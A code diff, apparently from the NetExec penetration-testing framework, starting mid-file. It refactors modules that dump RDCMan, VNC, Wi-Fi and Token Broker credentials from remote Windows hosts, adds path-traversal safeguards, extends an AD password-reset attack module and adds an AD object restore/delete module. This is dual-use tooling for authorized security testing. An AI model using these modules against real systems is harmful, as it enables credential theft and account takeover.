now_utc = datetime.datetime.now(datetime.UTC)
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
enc_ticket_part = EncTicketPart()
+2 -2
View File
@@ -1,5 +1,5 @@
import base64
from Crypto.Cipher import AES
from Cryptodome.Cipher import AES
from io import BytesIO
from nxc.helpers.misc import CATEGORY
@@ -83,6 +83,6 @@ class NXCModule:
return crypter.decrypt(buf).decode("utf-8")
def base64_urlsafedecode(self, string):
padding = 4 - (len(string) % 4)
padding = (4 - len(string) % 4) % 4
string += "=" * padding
return base64.urlsafe_b64decode(string)
+6 -33
View File
@@ -1,55 +1,28 @@
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
context.log.success("Looting RDCMan secrets")
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
@@ -58,7 +31,7 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
for rdgfile in rdgfiles:
if rdgfile is None:
continue
@@ -66,6 +39,6 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+12 -3
View File
@@ -1,6 +1,6 @@
from sys import exit
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import CATEGORY
from impacket.dcerpc.v5 import rrp
@@ -101,7 +101,8 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._RdpWmi__dcom.disconnect()
if wmi_rdp._RdpWmi__dcom is not None:
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -222,6 +223,14 @@ class RdpWmi:
self.__aesKey = connection.aesKey
self.__timeout = timeout
self.__dcom = None
if self.__currentprotocol == "wmi":
# The wmi protocol already holds an authenticated IWbemLevel1Login:
# reuse it instead of creating a second DCOMConnection to the same
# target (whose disconnect would clash with the protocol's own)
self.__iWbemLevel1Login = connection.iWbemLevel1Login
return
try:
self.__dcom = DCOMConnection(
self.__target,
@@ -239,7 +248,7 @@ class RdpWmi:
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+8 -3
View File
@@ -1,7 +1,9 @@
from os import makedirs
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from os.path import join, abspath
from os.path import join
from pathlib import Path
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.examples.secretsdump import RemoteOperations
@@ -73,8 +75,11 @@ class NXCModule:
# Formatting the destination filename
file_path = path.split("$")[-1].replace("/", "_")
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
dest_path = abspath(join(export_path, filename))
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
dest_path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in dest_path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
try:
with open(dest_path, "wb+") as file:
connection.conn.getFile("C$", path, file.write)
+9 -6
View File
@@ -1,4 +1,3 @@
import sys
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
@@ -26,6 +25,7 @@ class NXCModule:
self.new_password = None
self.upn_user = None
self.upn_password = None
self.upn_nthash = None
def options(self, context, module_options):
"""
@@ -36,19 +36,22 @@ class NXCModule:
NEW_PASSWORD New password to set on TARGET
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
UPN_PASSWORD Cleartext password of UPN_USER
UPN_NTHASH NT Hash of UPN_USER
Examples:
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
"""
self.target = module_options.get("TARGET")
self.new_password = module_options.get("NEW_PASSWORD")
self.upn_user = module_options.get("UPN_USER")
self.upn_password = module_options.get("UPN_PASSWORD")
self.upn_password = module_options.get("UPN_PASSWORD", "")
self.upn_nthash = module_options.get("UPN_NTHASH", "")
if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
sys.exit(1)
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
return False
def resolve_account(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
@@ -85,7 +88,7 @@ class NXCModule:
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
kdc = self.connection.kdcHost or self.connection.host
try:
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
except (KerberosError, OSError) as e:
self.context.log.fail(f"Failed to request change-password TGT: {e}")
return None
+6 -6
View File
@@ -1,8 +1,9 @@
import ntpath
import os
from os.path import join, getsize, exists
from pathlib import PurePosixPath
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -85,11 +86,10 @@ class NXCModule:
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
# replace \\ with underscores and ignore absolute path or path traversal attempts
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
if Path(user_output_dir).resolve() not in local_file_path.parents:
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
continue
context.log.debug(f"{local_file_path=}")
try:
+17 -14
View File
@@ -2,9 +2,10 @@ import json
import errno
from os.path import abspath, join, exists, splitext, getsize
from os import makedirs, remove, stat
from pathlib import Path, PurePosixPath
from pathlib import Path
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
@@ -172,13 +173,13 @@ class SMBSpiderPlus:
def get_file_save_path(self, remote_file):
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
Sanitizes each local path component and verifies containment in the output folder.
"""
self.logger.debug(f"Remote file: {remote_file}")
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
self.logger.debug(f"Raw path: {remote_file}")
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
if Path(self.output_folder).resolve() not in resolved.parents:
raise ValueError(f"Path traversal detected in {remote_file!s}")
self.logger.debug(f"Resolved path: {resolved}")
return str(resolved.parent), resolved.name
@@ -308,7 +309,12 @@ class SMBSpiderPlus:
return
# Check if the file is already downloaded and up-to-date.
file_dir, file_name = self.get_file_save_path(remote_file)
try:
file_dir, file_name = self.get_file_save_path(remote_file)
except ValueError as e:
self.logger.fail(str(e))
self.stats["num_get_fail"] += 1
return
download_path = join(file_dir, file_name)
needs_update_flag = False
if exists(download_path):
@@ -324,7 +330,7 @@ class SMBSpiderPlus:
try:
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
remote_file.open_file()
self.save_file(remote_file, share_name)
self.save_file(remote_file, share_name, download_path)
remote_file.close()
download_success = True
except SessionError as e:
@@ -341,7 +347,7 @@ class SMBSpiderPlus:
else:
self.stats["num_get_fail"] += 1
def save_file(self, remote_file, share_name):
def save_file(self, remote_file, share_name, download_path):
"""Reads the `remote_file` in chunks using the `read_chunk` method.
Each chunk is then written to the local file until the entire file is saved.
@@ -350,12 +356,9 @@ class SMBSpiderPlus:
# Reset the remote_file to point to the beginning of the file.
remote_file.seek(0, 0)
folder, filename = self.get_file_save_path(remote_file)
download_path = join(folder, filename)
# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{folder}'")
make_dirs(folder)
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
make_dirs(Path(download_path).parent)
try:
with open(download_path, "wb") as fd:
+134
View File
@@ -0,0 +1,134 @@
from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""Module by Fabrizzio: @Fabrizzio53"""
name = "tombstone"
description = "Query, restore and delete AD objects"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
ACTION Specify the action to execute: query, restore or delete. Default is query.
ID The id of which object you want to restore.
DN The DN of which object you want to delete.
Usage:
nxc ldap $DC-IP -u Username -p Password -M tombstone
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
"""
self.action = module_options.get("ACTION", "query").lower()
self.id = module_options.get("ID", "")
self.delete_dn = module_options.get("DN", "")
if self.action == "restore" and not self.id:
context.log.fail("ID is necessary when calling tombstone with the restore action")
return False
if self.action == "delete" and not self.delete_dn:
context.log.fail("DN is necessary when calling tombstone with the delete action")
return False
def on_login(self, context, connection):
if self.action == "query":
self.query_deleted_objects(context, connection)
elif self.action == "delete":
self.delete_object(context, connection)
elif self.action == "restore":
self.restore_deleted_object(context, connection)
else:
context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
def show_deleted_control(self):
return Control().setComponents("1.2.840.113556.1.4.417", True)
def search_deleted_objects(self, connection):
return parse_result_attributes(
connection.search(
baseDN=f"CN=Deleted Objects,{connection.baseDN}",
searchFilter="(isDeleted=TRUE)",
attributes=[],
searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
)
)
def restore_deleted_object(self, context, connection):
object_dn = ""
original_dn = ""
context.log.highlight(f"Trying to find object with given id {self.id}")
context.log.debug("Search Filter=(isDeleted=TRUE)")
context.log.highlight("")
for entries in self.search_deleted_objects(connection):
if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
continue
if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
context.log.highlight("")
object_dn = entries.get("distinguishedName", "")
original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
break
if not original_dn:
context.log.fail(f"The object was not found with id {self.id}.")
return False
try:
connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
context.log.highlight(f"Success {original_dn} restored")
except LDAPSessionError as e:
context.log.fail(f"Error at trying to recover the object {e}")
return False
def delete_object(self, context, connection):
context.log.highlight(f"Trying to delete {self.delete_dn}")
try:
connection.ldap_connection.delete(dn=self.delete_dn)
context.log.highlight("")
context.log.highlight(f'Success, "{self.delete_dn}" deleted')
except LDAPSessionError as e:
context.log.highlight("")
context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
def query_deleted_objects(self, context, connection):
context.log.debug("Search Filter=(isDeleted=TRUE)")
resp_parsed = self.search_deleted_objects(connection)
if not resp_parsed:
context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
return False
resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
if not resp_parsed:
context.log.highlight("No objects are in a tombstone state")
return False
context.log.highlight("")
for entries in resp_parsed:
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
context.log.highlight("")
context.log.highlight(f"Found {len(resp_parsed)} deleted objects")
+2 -1
View File
@@ -3,6 +3,7 @@ from datetime import datetime
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -91,7 +92,7 @@ class NXCModule:
def create_log_file(self, host, time):
"""Create a log file for dumping user descriptions."""
logfile = f"UserDesc-{host}-{time}.log"
logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
logfile = Path(NXC_PATH).joinpath(logfile)
self.context.log.info(f"Creating log file '{logfile}'")
+41 -102
View File
@@ -1,18 +1,14 @@
import ntpath
import tempfile
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.dcerpc.v5 import rrp
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
class NXCModule:
@@ -23,7 +19,7 @@ class NXCModule:
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -49,79 +45,40 @@ class NXCModule:
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
dploot_conn = connection.dpapi_triage.conn
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_registry(dploot_conn)
self.vnc_client_proxyconf_extract(dploot_conn)
self.vnc_from_filesystem(dploot_conn)
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
def vnc_client_proxyconf_extract(self, dploot_conn):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(remote_ops)
users = self.get_users(dploot_conn)
if dploot_conn.target.protocol != "smb":
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None and remote_ops is not None:
if ntuser_dat_bytes is None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
if password is None:
continue
password = password.encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
@@ -139,9 +96,9 @@ class NXCModule:
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
def vnc_from_registry(self, remote_ops):
def vnc_from_registry(self, dpapi_conn):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
@@ -152,10 +109,12 @@ class NXCModule:
)
for vnc_name, path, key in vncs:
try:
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
except rrp.DCERPCSessionError as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
else:
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
@@ -163,7 +122,7 @@ class NXCModule:
password = self.recover_vncpassword(value)
if password is None:
continue
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
@@ -171,7 +130,10 @@ class NXCModule:
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
if value is None:
continue
value = value.encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
@@ -181,13 +143,13 @@ class NXCModule:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
@@ -230,8 +192,8 @@ class NXCModule:
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
for vnc_name, filepath in vncs:
file_content = dploot_conn.read_file(share=self.share, path=filepath)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
@@ -239,39 +201,16 @@ class NXCModule:
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
for sid in conn.reg_enum_key("HKLM", userlist_key):
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
if "C:\\Users" not in profile_path:
continue
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
return users
+5 -32
View File
@@ -1,54 +1,27 @@
import re
import jwt
from dploot.triage.wam import WamTriage
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "wam"
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
context.log.success("Looting Token Broker Cache access tokens")
def token_callback(token):
for attrib in token.attribs:
@@ -58,10 +31,10 @@ class NXCModule:
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
try:
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage.triage_wam()
except Exception as e:
context.log.debug(f"Could not loot access tokens: {e}")
+10 -35
View File
@@ -1,54 +1,29 @@
from dploot.lib.target import Target
from dploot.triage.wifi import WifiTriage
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
class NXCModule:
name = "wifi"
